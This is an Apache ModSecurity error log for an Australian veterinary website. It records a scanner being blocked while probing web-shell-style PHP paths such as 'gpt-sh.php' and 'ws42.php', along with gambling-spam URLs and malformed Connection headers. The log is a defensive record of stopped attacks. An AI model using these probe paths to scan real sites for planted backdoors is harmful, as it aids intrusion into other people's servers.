[Wed Apr 01 08:18:27.736820 2026] [:error] [pid 24348:tid 24385] [client 145.239.66.34:39482] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "acxkU20Vs69Y5nF1HA_56wAAAYY"]
[Wed Apr 01 08:18:30.232952 2026] [:error] [pid 24346:tid 24376] [client 145.239.66.34:58164] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "acxkVrc1l8kg9MhGHIKkRwAAAVg"]
[Wed Apr 01 08:18:32.731759 2026] [:error] [pid 23715:tid 23780] [client 145.239.66.34:58172] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "acxkWK-REzOruNbiT9x89AAAAFM"]
[Wed Apr 01 08:18:35.253365 2026] [:error] [pid 23714:tid 23748] [client 145.239.66.34:58184] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "acxkW0HxDDU2ETcG9DQPowAAAA4"]
[Wed Apr 01 08:18:37.747338 2026] [:error] [pid 23715:tid 23781] [client 145.239.66.34:58200] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acxkXa-REzOruNbiT9x8_gAAAFQ"]
[Wed Apr 01 08:18:40.213093 2026] [:error] [pid 23715:tid 23769] [client 145.239.66.34:38028] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "acxkYK-REzOruNbiT9x9DAAAAEg"]
[Wed Apr 01 08:18:42.713672 2026] [:error] [pid 24314:tid 24341] [client 145.239.66.34:38040] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "acxkYpRF3FCzjmMUX5b5lgAAARc"]
[Wed Apr 01 08:21:53.229516 2026] [:error] [pid 23715:tid 23772] [client 43.130.57.46:38300] [client 43.130.57.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acxlIa-REzOruNbiT9x-uQAAAEs"]
[Wed Apr 01 12:09:43.647425 2026] [:error] [pid 23819:tid 23834] [client 43.153.15.51:34402] [client 43.153.15.51] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acyah9dfUS_37wFAM74_ogAAAMw"]
[Wed Apr 01 14:45:11.237351 2026] [:error] [pid 8995:tid 9005] [client 182.44.2.148:43798] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acy-9-onaBjs3qxcRec1aQAAAAc"]
[Wed Apr 01 17:12:49.846927 2026] [:error] [pid 8909:tid 8953] [client 159.196.170.152:22252] [client 159.196.170.152] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "165.227.214.133_7ee799f61ba7a58c85c8f4083ea329400312b8c6"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/plugins/elementor/assets/lib/font-awesome/css/regular.min.css"] [unique_id "aczhjzvP_a0662gDl6D9PAAAAMw"], referer: https://vetstars.com.au/
[Wed Apr 01 18:26:31.221489 2026] [:error] [pid 62559:tid 62567] [client 20.203.215.185:39408] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws42.php"] [unique_id "aczy1y7NKI8IaNKZFIdkdAAAAUY"]
[Wed Apr 01 18:26:32.801368 2026] [:error] [pid 8909:tid 8943] [client 20.203.215.185:60818] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws42.php"] [unique_id "aczy2DvP_a0662gDl6A61gAAAMI"]
[Wed Apr 01 18:26:33.789646 2026] [:error] [pid 8909:tid 8944] [client 20.203.215.185:46021] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws42.php"] [unique_id "aczy2TvP_a0662gDl6A63gAAAMM"]
[Wed Apr 01 18:26:35.006319 2026] [:error] [pid 8910:tid 8985] [client 20.203.215.185:37699] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws42.php"] [unique_id "aczy26JZINUcF3tYgEw4WgAAARE"]
[Wed Apr 01 18:26:36.404093 2026] [:error] [pid 17856:tid 17877] [client 20.203.215.185:46018] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aczy3D7Idlm5j9frhqTLUgAAAFM"]
[Wed Apr 01 18:26:37.312140 2026] [:error] [pid 62559:tid 62585] [client 20.203.215.185:3464] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aczy3S7NKI8IaNKZFIdkfAAAAVg"]
[Wed Apr 01 18:26:38.013319 2026] [:error] [pid 8908:tid 8922] [client 20.203.215.185:52893] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aczy3vkmxtJXGnLdvgA_CgAAAIk"]
[Wed Apr 01 18:26:38.732714 2026] [:error] [pid 8910:tid 8980] [client 20.203.215.185:37724] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aczy3qJZINUcF3tYgEw4XgAAAQw"]
[Wed Apr 01 18:26:39.559756 2026] [:error] [pid 17856:tid 17862] [client 20.203.215.185:39528] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "aczy3z7Idlm5j9frhqTLXwAAAEQ"]
[Wed Apr 01 18:26:40.322760 2026] [:error] [pid 17856:tid 17881] [client 20.203.215.185:41937] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "aczy4D7Idlm5j9frhqTLZQAAAFc"]
[Wed Apr 01 18:26:42.332078 2026] [:error] [pid 17856:tid 17862] [client 20.203.215.185:58945] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "aczy4j7Idlm5j9frhqTLbwAAAEQ"]
[Wed Apr 01 18:26:44.639680 2026] [:error] [pid 8908:tid 8926] [client 20.203.215.185:39049] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wgift1.php"] [unique_id "aczy5PkmxtJXGnLdvgA_IAAAAI0"]
[Wed Apr 01 18:26:45.516984 2026] [:error] [pid 8908:tid 8917] [client 20.203.215.185:38284] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aczy5fkmxtJXGnLdvgA_KAAAAIQ"]
[Wed Apr 01 18:26:46.271033 2026] [:error] [pid 8910:tid 8979] [client 20.203.215.185:37836] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aczy5qJZINUcF3tYgEw4aAAAAQs"]
[Wed Apr 01 18:26:46.808062 2026] [:error] [pid 8995:tid 9000] [client 20.203.215.185:47489] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aczy5uonaBjs3qxcReeXoAAAAAI"]
[Wed Apr 01 18:26:47.557590 2026] [:error] [pid 8995:tid 9011] [client 20.203.215.185:37698] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aczy5-onaBjs3qxcReeXpgAAAA0"]
[Wed Apr 01 18:26:48.246435 2026] [:error] [pid 8908:tid 8925] [client 20.203.215.185:41103] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/north1.php"] [unique_id "aczy6PkmxtJXGnLdvgA_OgAAAIw"]
[Wed Apr 01 18:26:49.908604 2026] [:error] [pid 17856:tid 17880] [client 20.203.215.185:49028] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/north1.php"] [unique_id "aczy6T7Idlm5j9frhqTLhQAAAFY"]
[Wed Apr 01 18:26:51.716230 2026] [:error] [pid 8995:tid 8998] [client 20.203.215.185:42901] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/north1.php"] [unique_id "aczy6-onaBjs3qxcReeXvgAAAAA"]
[Wed Apr 01 18:26:54.347628 2026] [:error] [pid 8908:tid 8929] [client 20.203.215.185:49084] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/north1.php"] [unique_id "aczy7vkmxtJXGnLdvgA_QwAAAJA"]
[Wed Apr 01 18:26:55.477346 2026] [:error] [pid 8910:tid 8985] [client 20.203.215.185:38275] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "aczy76JZINUcF3tYgEw4gQAAARE"]
[Wed Apr 01 18:26:56.566406 2026] [:error] [pid 17856:tid 17865] [client 20.203.215.185:47547] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "aczy8D7Idlm5j9frhqTLmAAAAEc"]
[Wed Apr 01 18:26:57.585911 2026] [:error] [pid 8909:tid 8952] [client 20.203.215.185:47539] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "aczy8TvP_a0662gDl6A7LAAAAMs"]
[Wed Apr 01 18:26:58.354913 2026] [:error] [pid 8908:tid 8922] [client 20.203.215.185:54485] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eee.php"] [unique_id "aczy8vkmxtJXGnLdvgA_TAAAAIk"]
[Wed Apr 01 18:27:00.044983 2026] [:error] [pid 8909:tid 8941] [client 20.203.215.185:37390] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "aczy9DvP_a0662gDl6A7OQAAAMA"]
[Wed Apr 01 18:27:01.522679 2026] [:error] [pid 8908:tid 8918] [client 20.203.215.185:53756] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "aczy9fkmxtJXGnLdvgA_UQAAAIU"]
[Wed Apr 01 18:27:03.349201 2026] [:error] [pid 8908:tid 8924] [client 20.203.215.185:47528] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "aczy9_kmxtJXGnLdvgA_VAAAAIs"]
[Wed Apr 01 18:27:05.204645 2026] [:error] [pid 62559:tid 62580] [client 20.203.215.185:47194] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "aczy-S7NKI8IaNKZFIdkywAAAVM"]
[Wed Apr 01 18:27:11.030850 2026] [:error] [pid 8908:tid 8934] [client 20.203.215.185:49078] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aczy__kmxtJXGnLdvgA_ewAAAJU"]
[Wed Apr 01 18:27:11.836889 2026] [:error] [pid 8909:tid 8950] [client 20.203.215.185:47532] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aczy_zvP_a0662gDl6A7SwAAAMk"]
[Wed Apr 01 18:27:12.512559 2026] [:error] [pid 8909:tid 8952] [client 20.203.215.185:37160] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aczzADvP_a0662gDl6A7UAAAAMs"]
[Wed Apr 01 18:27:13.745311 2026] [:error] [pid 8909:tid 8961] [client 20.203.215.185:44098] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aczzATvP_a0662gDl6A7XAAAANQ"]
[Wed Apr 01 18:27:15.219684 2026] [:error] [pid 8908:tid 8915] [client 20.203.215.185:37148] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "aczzA_kmxtJXGnLdvgA_iAAAAII"]
[Wed Apr 01 18:27:16.157921 2026] [:error] [pid 8908:tid 8913] [client 20.203.215.185:44122] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "aczzBPkmxtJXGnLdvgA_jQAAAIA"]
[Wed Apr 01 18:27:17.038449 2026] [:error] [pid 8909:tid 8950] [client 20.203.215.185:46449] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "aczzBTvP_a0662gDl6A7dgAAAMk"]
[Wed Apr 01 18:27:18.143003 2026] [:error] [pid 17856:tid 17866] [client 20.203.215.185:51743] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "aczzBj7Idlm5j9frhqTL3wAAAEg"]
[Wed Apr 01 18:27:19.088949 2026] [:error] [pid 62559:tid 62579] [client 20.203.215.185:49025] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "aczzBy7NKI8IaNKZFIdk6QAAAVI"]
[Wed Apr 01 18:27:19.651303 2026] [:error] [pid 8908:tid 8926] [client 20.203.215.185:46412] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "aczzB_kmxtJXGnLdvgA_mgAAAI0"]
[Wed Apr 01 18:27:21.118493 2026] [:error] [pid 8909:tid 8952] [client 20.203.215.185:41089] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "aczzCTvP_a0662gDl6A7hQAAAMs"]
[Wed Apr 01 18:27:21.961508 2026] [:error] [pid 8909:tid 8947] [client 20.203.215.185:41654] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gpt-sh.php"] [unique_id "aczzCTvP_a0662gDl6A7iQAAAMY"]
[Wed Apr 01 18:27:23.186910 2026] [:error] [pid 8909:tid 8946] [client 20.203.215.185:53750] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aczzCzvP_a0662gDl6A7kQAAAMU"]
[Wed Apr 01 18:27:25.963194 2026] [:error] [pid 62559:tid 62570] [client 20.203.215.185:47535] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aczzDS7NKI8IaNKZFIdk9QAAAUk"]
[Wed Apr 01 18:27:26.957254 2026] [:error] [pid 8995:tid 9011] [client 20.203.215.185:40388] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aczzDuonaBjs3qxcReeX6QAAAA0"]
[Wed Apr 01 18:27:27.867156 2026] [:error] [pid 8909:tid 8952] [client 20.203.215.185:47195] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aczzDzvP_a0662gDl6A7mAAAAMs"]
